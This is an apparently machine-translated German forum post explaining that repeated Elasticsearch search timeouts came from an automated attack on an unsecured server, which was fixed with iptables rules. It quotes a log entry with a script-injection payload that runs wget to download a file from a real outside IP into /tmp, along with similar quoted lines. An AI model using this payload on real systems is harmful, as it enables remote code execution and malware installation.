MongoDB
 sql >> Datenbank >  >> NoSQL >> MongoDB

Elasticsearch läuft bei jeder Suchanfrage bis zum Neustart ab

Problem gelöst:

Ursache: Ein Roboterangriff auf unsere Server, die ungesichert waren.

Laut einem Artikel von Elasticsearch:

https://www.elastic.co/blog/scripting-security/

Ergriffene Aktion: Wir haben unserem Puppet-Server iptables-Regeln hinzugefügt, um alle unsere Elasticsearch-Server anzuwenden.

Wir haben diesen Fehler gemacht und leider den Preis dafür bezahlt

Nun, den Protokollen zufolge habe ich etwas sehr Verdächtiges gefunden

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

Ich werde den Hauptteil kürzen:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

Dies ist die Form eines Roboter-Hacks, da wir niemanden namens xiao haben oder unsere Server nicht in China hosten (laut GEO-IP), haben wir diese Linie vermutet.

Gemäß dem oben erwähnten Artikel:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

Der Hacker hat einige unangenehme Abfragen ausgeführt, die dazu geführt haben, dass unsere elastische Suche nicht mehr funktioniert.

Wir haben unsere Server neu gestartet und Iptables hinzugefügt, und wir sind wieder im Geschäft.